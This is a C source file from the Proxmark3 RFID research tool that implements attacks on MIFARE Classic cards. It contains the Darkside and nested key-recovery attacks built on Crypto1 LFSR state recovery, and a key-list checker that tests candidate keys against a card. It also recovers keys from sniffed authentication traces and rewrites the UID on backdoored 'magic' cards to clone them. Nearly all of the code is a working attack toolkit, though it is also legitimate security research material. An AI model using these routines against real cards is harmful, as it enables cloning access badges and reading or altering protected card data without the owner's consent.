git.zerfleddert.de Git - proxmark3-svn/blob

1 // Merlok, 2011, 2012

2 // people from mifare@nethemba.com, 2010

3 //

4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,

5 // at your option, any later version. See the LICENSE.txt file for the text of

6 // the license.

7 //-----------------------------------------------------------------------------

8 // mifare commands

9 //-----------------------------------------------------------------------------

11 #include "mifarehost.h"

13 #include <stdio.h>

14 #include <stdlib.h>

15 #include <string.h>

16 #include <pthread.h>

18 #include "crapto1/crapto1.h"

19 #include "proxmark3.h"

20 #include "usb_cmd.h"

21 #include "cmdmain.h"

22 #include "ui.h"

23 #include "util.h"

24 #include "iso14443crc.h"

26 #include "mifare.h"

28 // mifare tracer flags used in mfTraceDecode()

29 #define TRACE_IDLE 0x00

30 #define TRACE_AUTH1 0x01

31 #define TRACE_AUTH2 0x02

32 #define TRACE_AUTH_OK 0x03

33 #define TRACE_READ_DATA 0x04

34 #define TRACE_WRITE_OK 0x05

35 #define TRACE_WRITE_DATA 0x06

36 #define TRACE_ERROR 0xFF

 static int compare_uint64(const void *a, const void *b) {

40 // didn't work: (the result is truncated to 32 bits)

41 //return (*(int64_t*)b - *(int64_t*)a);

43 // better:

         if (*(uint64_t*)b == *(uint64_t*)a) return 0;

         else if (*(uint64_t*)b < *(uint64_t*)a) return 1;

46 else return -1;

47 }

50 // create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.

 static uint32_t intersection(uint64_t *list1, uint64_t *list2)

52 {

         if (list1 == NULL || list2 == NULL) {

54 return 0;

55 }

         uint64_t *p1, *p2, *p3;

57 p1 = p3 = list1;

58 p2 = list2;

         while ( *p1 != -1 && *p2 != -1 ) {

                 if (compare_uint64(p1, p2) == 0) {

62 *p3++ = *p1++;

63 p2++;

64 }

65 else {

                         while (compare_uint64(p1, p2) < 0) ++p1;

                         while (compare_uint64(p1, p2) > 0) ++p2;

68 }

69 }

70 *p3 = -1;

71 return p3 - list1;

72 }

75 // Darkside attack (hf mf mifare)

 static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {

77 struct Crypto1State *states;

         uint32_t i, pos, rr; //nr_diff;

         uint8_t bt, ks3x[8], par[8][8];

80 uint64_t key_recovered;

81 static uint64_t *keylist;

82 rr = 0;

84 // Reset the last three significant bits of the reader nonce

85 nr &= 0xffffff1f;

         for (pos=0; pos<8; pos++) {

                 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;

                 bt = (par_info >> (pos*8)) & 0xff;

                 for (i=0; i<8; i++)     {

                                 par[7-pos][i] = (bt >> i) & 0x01;

92 }

93 }

         states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));

97 if (states == NULL) {

98 *keys = NULL;

99 return 0;

100 }

101

102 keylist = (uint64_t*)states;

103

         for (i = 0; keylist[i]; i++) {

                 lfsr_rollback_word(states+i, uid^nt, 0);

                 crypto1_get_lfsr(states+i, &key_recovered);

107 keylist[i] = key_recovered;

108 }

109 keylist[i] = -1;

110

111 *keys = keylist;

112 return i;

113 }

114

115

 int mfDarkside(uint64_t *key)

117 {

118 uint32_t uid = 0;

         uint32_t nt = 0, nr = 0;

         uint64_t par_list = 0, ks_list = 0;

         uint64_t *keylist = NULL, *last_keylist = NULL;

122 uint32_t keycount = 0;

123 int16_t isOK = 0;

124

         UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};

126

127 // message

         printf("-------------------------------------------------------------------------\n");

         printf("Executing command. Expected execution time: 25sec on average\n");

         printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");

         printf("-------------------------------------------------------------------------\n");

132

133

134 while (true) {

135 clearCommandBuffer();

136 SendCommand(&c);

137

138 //flush queue

139 while (ukbhit()) {

                         int c = getchar(); (void) c;

141 }

142

143 // wait cycle

144 while (true) {

145 printf(".");

146 fflush(stdout);

147 if (ukbhit()) {

148 return -5;

149 break;

150 }

151

152 UsbCommand resp;

                         if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {

                                 isOK  = resp.arg[0];

                                 if (isOK < 0) {

156 return isOK;

157 }

                                 uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);

                                 nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);

                                 par_list = bytes_to_num(resp.d.asBytes +  8, 8);

                                 ks_list = bytes_to_num(resp.d.asBytes +  16, 8);

                                 nr = bytes_to_num(resp.d.asBytes + 24, 4);

163 break;

164 }

165 }

166

                 if (par_list == 0 && c.arg[0] == true) {

168 PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");

169 PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");

170 }

                 c.arg[0] = false;

172

                 keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);

174

                 if (keycount == 0) {

                         PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);

177 PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");

178 continue;

179 }

180

                 if (par_list == 0) {

                         qsort(keylist, keycount, sizeof(*keylist), compare_uint64);

                         keycount = intersection(last_keylist, keylist);

                         if (keycount == 0) {

185 free(last_keylist);

186 last_keylist = keylist;

187 continue;

188 }

189 }

190

                 if (keycount > 1) {

                         PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);

193 } else {

                         PrintAndLog("Found a possible key. Trying to authenticate...\n");

195 }

196

197 *key = -1;

198 uint8_t keyBlock[USB_CMD_DATA_SIZE];

                 int max_keys = USB_CMD_DATA_SIZE/6;

                 for (int i = 0; i < keycount; i += max_keys) {

                         int size = keycount - i > max_keys ? max_keys : keycount - i;

                         for (int j = 0; j < size; j++) {

                                 if (par_list == 0) {

                                         num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);

205 } else {

                                         num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);

207 }

208 }

                         if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {

210 break;

211 }

212 }

213

                 if (*key != -1) {

215 free(last_keylist);

216 free(keylist);

217 break;

218 } else {

219 PrintAndLog("Authentication failed. Trying again...");

220 free(last_keylist);

221 last_keylist = keylist;

222 }

223 }

224

225 return 0;

226 }

227

228

 int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){

230

231 *key = -1;

232

         UsbCommand c = {CMD_MIFARE_CHKKEYS, {((blockNo & 0xff) | ((keyType & 0xff) << 8)), clear_trace, keycnt}}; 

         memcpy(c.d.asBytes, keyBlock, 6 * keycnt);

235 SendCommand(&c);

236

237 UsbCommand resp;

         if (!WaitForResponseTimeout(CMD_ACK,&resp,3000)) return 1; 

         if ((resp.arg[0] & 0xff) != 0x01) return 2;

         *key = bytes_to_num(resp.d.asBytes, 6);

241 return 0;

242 }

243

 int mfCheckKeysSec(uint8_t sectorCnt, uint8_t keyType, uint8_t timeout14a, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, sector_t * e_sector){

245

246 uint8_t keyPtr = 0;

247

248 if (e_sector == NULL)

249 return -1;

250

         UsbCommand c = {CMD_MIFARE_CHKKEYS, {((sectorCnt & 0xff) | ((keyType & 0xff) << 8)), (clear_trace | 0x02)|((timeout14a & 0xff) << 8), keycnt}}; 

         memcpy(c.d.asBytes, keyBlock, 6 * keycnt);

253 SendCommand(&c);

254

255 UsbCommand resp;

         if (!WaitForResponseTimeoutW(CMD_ACK, &resp, MAX(3000, 1000 + 13 * sectorCnt * keycnt * (keyType == 2 ? 2 : 1)), false)) return 1; // timeout: 13 ms / fail auth

         if ((resp.arg[0] & 0xff) != 0x01) return 2;

258

259 bool foundAKey = false;

         for(int sec = 0; sec < sectorCnt; sec++){

                 for(int keyAB = 0; keyAB < 2; keyAB++){

                         keyPtr = *(resp.d.asBytes + keyAB * 40 + sec);

263 if (keyPtr){

                                 e_sector[sec].foundKey[keyAB] = true;

                                 e_sector[sec].Key[keyAB] = bytes_to_num(keyBlock + (keyPtr - 1) * 6, 6);

266 foundAKey = true;

267 }

268 }

269 }

         return foundAKey ? 0 : 3;

271 }

272

273 // Compare 16 Bits out of cryptostate

 int Compare16Bits(const void * a, const void * b) {

         if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;

         else if ((*(uint64_t*)b & 0x00ff000000ff0000) > (*(uint64_t*)a & 0x00ff000000ff0000)) return 1;

277 else return -1;

278 }

279

280 typedef

281 struct {

282 union {

283 struct Crypto1State *slhead;

284 uint64_t *keyhead;

285 } head;

286 union {

287 struct Crypto1State *sltail;

288 uint64_t *keytail;

289 } tail;

290 uint32_t len;

291 uint32_t uid;

292 uint32_t blockNo;

293 uint32_t keyType;

294 uint32_t nt;

295 uint32_t ks1;

296 } StateList_t;

297

298

299 // wrapper function for multi-threaded lfsr_recovery32

 void* nested_worker_thread(void *arg)

301 {

302 struct Crypto1State *p1;

303 StateList_t *statelist = arg;

304

         statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt ^ statelist->uid);

         for (p1 = statelist->head.slhead; *(uint64_t *)p1 != 0; p1++);

         statelist->len = p1 - statelist->head.slhead;

308 statelist->tail.sltail = --p1;

         qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits);

310

311 return statelist->head.slhead;

312 }

313

 int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate)

315 {

316 uint16_t i;

317 uint32_t uid;

318 UsbCommand resp;

319

320 StateList_t statelists[2];

         struct Crypto1State *p1, *p2, *p3, *p4;

322

323 // flush queue

         WaitForResponseTimeout(CMD_ACK, NULL, 100);

325

         UsbCommand c = {CMD_MIFARE_NESTED, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, calibrate}};

         memcpy(c.d.asBytes, key, 6);

328 SendCommand(&c);

329

         if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {

331 return -1;

332 }

333

         if (resp.arg[0]) {

                 return resp.arg[0];  // error during nested

336 }

337

         memcpy(&uid, resp.d.asBytes, 4);

         PrintAndLog("uid:%08x trgbl=%d trgkey=%x", uid, (uint16_t)resp.arg[2] & 0xff, (uint16_t)resp.arg[2] >> 8);

340

         for (i = 0; i < 2; i++) {

                 statelists[i].blockNo = resp.arg[2] & 0xff;

                 statelists[i].keyType = (resp.arg[2] >> 8) & 0xff;

344 statelists[i].uid = uid;

                 memcpy(&statelists[i].nt,  (void *)(resp.d.asBytes + 4 + i * 8 + 0), 4);

                 memcpy(&statelists[i].ks1, (void *)(resp.d.asBytes + 4 + i * 8 + 4), 4);

347 }

348

349 // calc keys

350

351 pthread_t thread_id[2];

352

353 // create and run worker threads

         for (i = 0; i < 2; i++) {

                 pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);

356 }

357

358 // wait for threads to terminate:

         for (i = 0; i < 2; i++) {

                 pthread_join(thread_id[i], (void*)&statelists[i].head.slhead);

361 }

362

363

364 // the first 16 Bits of the cryptostate already contain part of our key.

365 // Create the intersection of the two lists based on these 16 Bits and

366 // roll back the cryptostate

         p1 = p3 = statelists[0].head.slhead;

         p2 = p4 = statelists[1].head.slhead;

         while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {

                 if (Compare16Bits(p1, p2) == 0) {

371 struct Crypto1State savestate, *savep = &savestate;

372 savestate = *p1;

                         while(Compare16Bits(p1, savep) == 0 && p1 <= statelists[0].tail.sltail) {

374 *p3 = *p1;

                                 lfsr_rollback_word(p3, statelists[0].nt ^ statelists[0].uid, 0);

376 p3++;

377 p1++;

378 }

379 savestate = *p2;

                         while(Compare16Bits(p2, savep) == 0 && p2 <= statelists[1].tail.sltail) {

381 *p4 = *p2;

                                 lfsr_rollback_word(p4, statelists[1].nt ^ statelists[1].uid, 0);

383 p4++;

384 p2++;

385 }

386 }

387 else {

                         while (Compare16Bits(p1, p2) == -1) p1++;

                         while (Compare16Bits(p1, p2) == 1) p2++;

390 }

391 }

         *(uint64_t*)p3 = -1;

         *(uint64_t*)p4 = -1;

         statelists[0].len = p3 - statelists[0].head.slhead;

         statelists[1].len = p4 - statelists[1].head.slhead;

         statelists[0].tail.sltail=--p3;

         statelists[1].tail.sltail=--p4;

398

399 // the statelists now contain possible keys. The key we are searching for must be in the

400 // intersection of both lists. Create the intersection:

         qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);

         qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);

         statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);

404

         memset(resultKey, 0, 6);

406 // The list may still contain several key candidates. Test each of them with mfCheckKeys

         for (i = 0; i < statelists[0].len; i++) {

408 uint8_t keyBlock[6];

409 uint64_t key64;

                 crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);

                 num_to_bytes(key64, 6, keyBlock);

412 key64 = 0;

                 if (!mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, 1, keyBlock, &key64)) {

                         num_to_bytes(key64, 6, resultKey);

415 break;

416 }

417 }

418

         free(statelists[0].head.slhead);

         free(statelists[1].head.slhead);

421

422 return 0;

423 }

424

425 // EMULATOR

426

 int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) {

         UsbCommand c = {CMD_MIFARE_EML_MEMGET, {blockNum, blocksCount, 0}};

429 SendCommand(&c);

430

431 UsbCommand resp;

         if (!WaitForResponseTimeout(CMD_ACK,&resp,1500)) return 1;

         memcpy(data, resp.d.asBytes, blocksCount * 16);

434 return 0;

435 }

436

 int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount) {

         UsbCommand c = {CMD_MIFARE_EML_MEMSET, {blockNum, blocksCount, 0}};

         memcpy(c.d.asBytes, data, blocksCount * 16);

440 SendCommand(&c);

441 return 0;

442 }

443

444 // "MAGIC" CARD

445

 int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) {

447 uint8_t isOK = 0;

448

         UsbCommand c = {CMD_MIFARE_CGETBLOCK, {params, 0, blockNo}};

450 SendCommand(&c);

451

452 UsbCommand resp;

         if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {

                 isOK  = resp.arg[0] & 0xff;

                 memcpy(data, resp.d.asBytes, 16);

                 if (!isOK) return 2;

457 } else {

458 PrintAndLog("Command execute timeout");

459 return 1;

460 }

461 return 0;

462 }

463

 int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, bool wantWipe, uint8_t params) {

465

466 uint8_t isOK = 0;

         UsbCommand c = {CMD_MIFARE_CSETBLOCK, {wantWipe, params & (0xFE | (uid == NULL ? 0:1)), blockNo}};

         memcpy(c.d.asBytes, data, 16);

469 SendCommand(&c);

470

471 UsbCommand resp;

         if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {

                 isOK  = resp.arg[0] & 0xff;

474 if (uid != NULL)

                         memcpy(uid, resp.d.asBytes, 4);

476 if (!isOK)

477 return 2;

478 } else {

479 PrintAndLog("Command execute timeout");

480 return 1;

481 }

482

483 return 0;

484 }

485

 int mfCWipe(uint32_t numSectors, bool gen1b, bool wantWipe, bool wantFill) {

487 uint8_t isOK = 0;

         uint8_t cmdParams = wantWipe + wantFill * 0x02 + gen1b * 0x04;

         UsbCommand c = {CMD_MIFARE_CWIPE, {numSectors, cmdParams, 0}};

490 SendCommand(&c);

491

492 UsbCommand resp;

493 WaitForResponse(CMD_ACK,&resp);

         isOK  = resp.arg[0] & 0xff;

495

496 return isOK;

497 }

498

 int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID) {

         uint8_t oldblock0[16] = {0x00};

         uint8_t block0[16] = {0x00};

         int gen = 0, res;

503

504 gen = mfCIdentify();

505

506 /* generation 1a magic card by default */

507 uint8_t cmdParams = CSETBLOCK_SINGLE_OPER;

         if (gen == 2) {

509 /* generation 1b magic card */

510 cmdParams = CSETBLOCK_SINGLE_OPER | CSETBLOCK_MAGIC_1B;

511 }

512

         res = mfCGetBlock(0, oldblock0, cmdParams);

514

         if (res == 0) {

                 memcpy(block0, oldblock0, 16);

                 PrintAndLog("old block 0:  %s", sprint_hex(block0,16));

518 } else {

519 PrintAndLog("Couldn't get old data. Will write over the last bytes of Block 0.");

520 }

521

522 // fill in the new values

523 // UID

         memcpy(block0, uid, 4);

525 // Mifare UID BCC

         block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3];

527 // mifare classic SAK(byte 5) and ATQA(byte 6 and 7, reversed)

528 if (sak != NULL)

                 block0[5] = sak[0];

530 if (atqa != NULL) {

                 block0[6] = atqa[1];

                 block0[7] = atqa[0];

533 }

         PrintAndLog("new block 0:  %s", sprint_hex(block0, 16));

535

         res = mfCSetBlock(0, block0, oldUID, false, cmdParams);

537 if (res) {

                 PrintAndLog("Can't set block 0. Error: %d", res);

539 return res;

540 }

541

542 return 0;

543 }

544

545 int mfCIdentify() {

         UsbCommand c = {CMD_MIFARE_CIDENT, {0, 0, 0}};

547 SendCommand(&c);

548 UsbCommand resp;

549 WaitForResponse(CMD_ACK,&resp);

550

         uint8_t isGeneration = resp.arg[0] & 0xff;

552 switch( isGeneration ){

                 case 1: PrintAndLog("Chinese magic backdoor commands (GEN 1a) detected"); break;

                 case 2: PrintAndLog("Chinese magic backdoor command (GEN 1b) detected"); break;

                 default: PrintAndLog("No chinese magic backdoor command detected"); break;

556 }

557

         return (int) isGeneration;

559 }

560

561

562 // SNIFFER

563

564 // constants

 static uint8_t trailerAccessBytes[4] = {0x08, 0x77, 0x8F, 0x00};

566

567 // variables

 char logHexFileName[FILE_PATH_SIZE] = {0x00};

 static uint8_t traceCard[4096] = {0x00};

 static char traceFileName[FILE_PATH_SIZE] = {0x00};

571 static int traceState = TRACE_IDLE;

572 static uint8_t traceCurBlock = 0;

573 static uint8_t traceCurKey = 0;

574

575 struct Crypto1State *traceCrypto1 = NULL;

576

577 struct Crypto1State *revstate;

578 uint64_t lfsr;

579 uint32_t ks2;

580 uint32_t ks3;

581

582 uint32_t uid; // serial number

583 uint32_t nt; // tag challenge

584 uint32_t nr_enc; // encrypted reader challenge

585 uint32_t ar_enc; // encrypted reader response

586 uint32_t at_enc; // encrypted tag response

587

 int isTraceCardEmpty(void) {

         return ((traceCard[0] == 0) && (traceCard[1] == 0) && (traceCard[2] == 0) && (traceCard[3] == 0));

590 }

591

 int isBlockEmpty(int blockN) {

         for (int i = 0; i < 16; i++)

                 if (traceCard[blockN * 16 + i] != 0) return 0;

595

596 return 1;

597 }

598

 int isBlockTrailer(int blockN) {

  return ((blockN & 0x03) == 0x03);

601 }

602

 int saveTraceCard(void) {

604 FILE * f;

605

         if ((!strlen(traceFileName)) || (isTraceCardEmpty())) return 0;

607

         f = fopen(traceFileName, "w+");

         if ( !f ) return 1;

610

         for (int i = 0; i < 64; i++) {  // blocks

                 for (int j = 0; j < 16; j++)  // bytes

                         fprintf(f, "%02x", *(traceCard + i * 16 + j));

                 if (i < 63)

                         fprintf(f,"\n");

616 }

617 fclose(f);

618 return 0;

619 }

620

 int loadTraceCard(uint8_t *tuid) {

622 FILE * f;

         char buf[64] = {0x00};

         uint8_t buf8[64] = {0x00};

625 int i, blockNum;

626

627 if (!isTraceCardEmpty())

628 saveTraceCard();

629

         memset(traceCard, 0x00, 4096);

         memcpy(traceCard, tuid + 3, 4);

632

         FillFileNameByUID(traceFileName, tuid, ".eml", 7);

634

         f = fopen(traceFileName, "r");

         if (!f) return 1;

637

638 blockNum = 0;

639

         while(!feof(f)){

641

                 memset(buf, 0, sizeof(buf));

                 if (fgets(buf, sizeof(buf), f) == NULL) {

644 PrintAndLog("File reading error.");

645 fclose(f);

646 return 2;

647 }

648

                 if (strlen(buf) < 32){

                         if (feof(f)) break;

651 PrintAndLog("File content error. Block data must include 32 HEX symbols");

652 fclose(f);

653 return 2;

654 }

                 for (i = 0; i < 32; i += 2)

                         sscanf(&buf[i], "%02x", (unsigned int *)&buf8[i / 2]);

657

                 memcpy(traceCard + blockNum * 16, buf8, 16);

659

660 blockNum++;

661 }

662 fclose(f);

663

664 return 0;

665 }

666

 int mfTraceInit(uint8_t *tuid, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile) {

668

669 if (traceCrypto1)

670 crypto1_destroy(traceCrypto1);

671

672 traceCrypto1 = NULL;

673

674 if (wantSaveToEmlFile)

675 loadTraceCard(tuid);

676

         traceCard[4] = traceCard[0] ^ traceCard[1] ^ traceCard[2] ^ traceCard[3];

678 traceCard[5] = sak;

         memcpy(&traceCard[6], atqa, 2);

680 traceCurBlock = 0;

         uid = bytes_to_num(tuid + 3, 4);

682

683 traceState = TRACE_IDLE;

684

685 return 0;

686 }

687

 void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted){

689 uint8_t bt = 0;

690 int i;

691

         if (len != 1) {

                 for (i = 0; i < len; i++)

                         data[i] = crypto1_byte(pcs, 0x00, isEncrypted) ^ data[i];

695 } else {

696 bt = 0;

                 for (i = 0; i < 4; i++)

                         bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], i)) << i;

699

700 data[0] = bt;

701 }

702 return;

703 }

704

705

 int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {

707 uint8_t data[64];

708

         if (traceState == TRACE_ERROR) return 1;

         if (len > 64) {

711 traceState = TRACE_ERROR;

712 return 1;

713 }

714

         memcpy(data, data_src, len);

         if ((traceCrypto1) && ((traceState == TRACE_IDLE) || (traceState > TRACE_AUTH_OK))) {

                 mf_crypto1_decrypt(traceCrypto1, data, len, 0);

                 PrintAndLog("dec> %s", sprint_hex(data, len));

                 AddLogHex(logHexFileName, "dec> ", data, len);

720 }

721

722 switch (traceState) {

723 case TRACE_IDLE:

724 // check packet crc16!

                 if ((len >= 4) && (!CheckCrc14443(CRC_14443_A, data, len))) {

726 PrintAndLog("dec> CRC ERROR!!!");

                         AddLogLine(logHexFileName, "dec> ", "CRC ERROR!!!");

728 traceState = TRACE_ERROR; // do not decrypt the next commands

729 return 1;

730 }

731

732 // AUTHENTICATION

                 if ((len ==4) && ((data[0] == 0x60) || (data[0] == 0x61))) {

734 traceState = TRACE_AUTH1;

735 traceCurBlock = data[1];

                         traceCurKey = data[0] == 60 ? 1:0;

737 return 0;

738 }

739

740 // READ

                 if ((len ==4) && ((data[0] == 0x30))) {

742 traceState = TRACE_READ_DATA;

743 traceCurBlock = data[1];

744 return 0;

745 }

746

747 // WRITE

                 if ((len ==4) && ((data[0] == 0xA0))) {

749 traceState = TRACE_WRITE_OK;

750 traceCurBlock = data[1];

751 return 0;

752 }

753

754 // HALT

                 if ((len ==4) && ((data[0] == 0x50) && (data[1] == 0x00))) {

756 traceState = TRACE_ERROR; // do not decrypt the next commands

757 return 0;

758 }

759

760 return 0;

761 break;

762

763 case TRACE_READ_DATA:

                 if (len == 18) {

765 traceState = TRACE_IDLE;

766

                         if (isBlockTrailer(traceCurBlock)) {

                                 memcpy(traceCard + traceCurBlock * 16 + 6, data + 6, 4);

769 } else {

                                 memcpy(traceCard + traceCurBlock * 16, data, 16);

771 }

                         if (wantSaveToEmlFile) saveTraceCard();

773 return 0;

774 } else {

775 traceState = TRACE_ERROR;

776 return 1;

777 }

778 break;

779

780 case TRACE_WRITE_OK:

                 if ((len == 1) && (data[0] == 0x0a)) {

782 traceState = TRACE_WRITE_DATA;

783

784 return 0;

785 } else {

786 traceState = TRACE_ERROR;

787 return 1;

788 }

789 break;

790

791 case TRACE_WRITE_DATA:

                 if (len == 18) {

793 traceState = TRACE_IDLE;

794

                         memcpy(traceCard + traceCurBlock * 16, data, 16);

                         if (wantSaveToEmlFile) saveTraceCard();

797 return 0;

798 } else {

799 traceState = TRACE_ERROR;

800 return 1;

801 }

802 break;

803

804 case TRACE_AUTH1:

                 if (len == 4) {

806 traceState = TRACE_AUTH2;

                         nt = bytes_to_num(data, 4);

808 return 0;

809 } else {

810 traceState = TRACE_ERROR;

811 return 1;

812 }

813 break;

814

815 case TRACE_AUTH2:

                 if (len == 8) {

817 traceState = TRACE_AUTH_OK;

818

                         nr_enc = bytes_to_num(data, 4);

                         ar_enc = bytes_to_num(data + 4, 4);

821 return 0;

822 } else {

823 traceState = TRACE_ERROR;

824 return 1;

825 }

826 break;

827

828 case TRACE_AUTH_OK:

                 if (len ==4) {

830 traceState = TRACE_IDLE;

831

832 if (!traceCrypto1) {

                                 at_enc = bytes_to_num(data, 4);

834

835 // decode key here)

                                 ks2 = ar_enc ^ prng_successor(nt, 64);

                                 ks3 = at_enc ^ prng_successor(nt, 96);

                                 revstate = lfsr_recovery64(ks2, ks3);

                                 lfsr_rollback_word(revstate, 0, 0);

                                 lfsr_rollback_word(revstate, 0, 0);

                                 lfsr_rollback_word(revstate, nr_enc, 1);

                                 lfsr_rollback_word(revstate, uid ^ nt, 0);

843

844 crypto1_get_lfsr(revstate, &lfsr);

                                 printf("key> %x%x\n", (unsigned int)((lfsr & 0xFFFFFFFF00000000) >> 32), (unsigned int)(lfsr & 0xFFFFFFFF));

                                 AddLogUint64(logHexFileName, "key> ", lfsr);

847 } else {

                                 printf("key> nested not implemented!\n");

                                 at_enc = bytes_to_num(data, 4);

850

851 crypto1_destroy(traceCrypto1);

852

853 // not implemented

854 traceState = TRACE_ERROR;

855 }

856

                         int blockShift = ((traceCurBlock & 0xFC) + 3) * 16;

                         if (isBlockEmpty((traceCurBlock & 0xFC) + 3)) memcpy(traceCard + blockShift + 6, trailerAccessBytes, 4);

859

860 if (traceCurKey) {

                                 num_to_bytes(lfsr, 6, traceCard + blockShift + 10);

862 } else {

                                 num_to_bytes(lfsr, 6, traceCard + blockShift);

864 }

                         if (wantSaveToEmlFile) saveTraceCard();

866

867 if (traceCrypto1) {

868 crypto1_destroy(traceCrypto1);

869 }

870

871 // set cryptosystem state

                         traceCrypto1 = lfsr_recovery64(ks2, ks3);

873 return 0;

874 } else {

875 traceState = TRACE_ERROR;

876 return 1;

877 }

878 break;

879

880 default:

881 traceState = TRACE_ERROR;

882 return 1;

883 }

884

885 return 0;

886 }

887

888 // DECODING

889

 int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len){

891 /*

892 uint32_t nt; // tag challenge

893 uint32_t ar_enc; // encrypted reader response

894 uint32_t at_enc; // encrypted tag response

895 */

896 if (traceCrypto1) {

897 crypto1_destroy(traceCrypto1);

898 }

         ks2 = ar_enc ^ prng_successor(nt, 64);

         ks3 = at_enc ^ prng_successor(nt, 96);

         traceCrypto1 = lfsr_recovery64(ks2, ks3);

902

         mf_crypto1_decrypt(traceCrypto1, data, len, 0);

904

         PrintAndLog("Decrypted data: [%s]", sprint_hex(data,len) );

906 crypto1_destroy(traceCrypto1);

907 return 0;

908 }

909

910 /** validate_prng_nonce

911 * Determine if nonce is deterministic. ie: Suspectable to Darkside attack.

912 * returns

913 * true = weak prng

914 * false = hardend prng

915 */

 bool validate_prng_nonce(uint32_t nonce) {

         uint16_t *dist = 0;

918 uint16_t x, i;

919

         dist = malloc(2 << 16);

921 if(!dist)

922 return -1;

923

924 // init prng table:

         for (x = i = 1; i; ++i) {

                 dist[(x & 0xff) << 8 | x >> 8] = i;

                 x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;

928 }

929

         uint32_t res = (65535 - dist[nonce >> 16] + dist[nonce & 0xffff]) % 65535;

931

932 free(dist);

         return (res == 16);

934 }

935

936 /* Detect Tag Prng,

937 * function performs a partial AUTH, where it tries to authenticate against block0, key A, but only collects tag nonce.

938 * the tag nonce is check to see if it has a predictable PRNG.

939 * @returns

940 * TRUE if tag uses WEAK prng (ie Now the NACK bug also needs to be present for Darkside attack)

941 * FALSE is tag uses HARDEND prng (ie hardnested attack possible, with known key)

942 */

 int DetectClassicPrng(void){

944

945 UsbCommand resp, respA;

         uint8_t cmd[] = {0x60, 0x00}; // MIFARE_AUTH_KEYA

         uint32_t flags = ISO14A_CONNECT | ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_RATS;

948

         UsbCommand c = {CMD_READER_ISO_14443a, {flags, sizeof(cmd), 0}};

         memcpy(c.d.asBytes, cmd, sizeof(cmd));

951

952 clearCommandBuffer();

953 SendCommand(&c);

         if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {

955 PrintAndLog("PRNG UID: Reply timeout.");

956 return -1;

957 }

958

959 // if select tag failed.

         if (resp.arg[0] == 0) {

961 PrintAndLog("PRNG error: selecting tag failed, can't detect prng.");

962 return -1;

963 }

964

         if (!WaitForResponseTimeout(CMD_ACK, &respA, 5000)) {

966 PrintAndLog("PRNG data: Reply timeout.");

967 return -1;

968 }

969

970 // check respA

         if (respA.arg[0] != 4) {

                 PrintAndLog("PRNG data error: Wrong length: %d", respA.arg[0]);

973 return -1;

974 }

975

         uint32_t nonce = bytes_to_num(respA.d.asBytes, respA.arg[0]);

977 return validate_prng_nonce(nonce);

978 }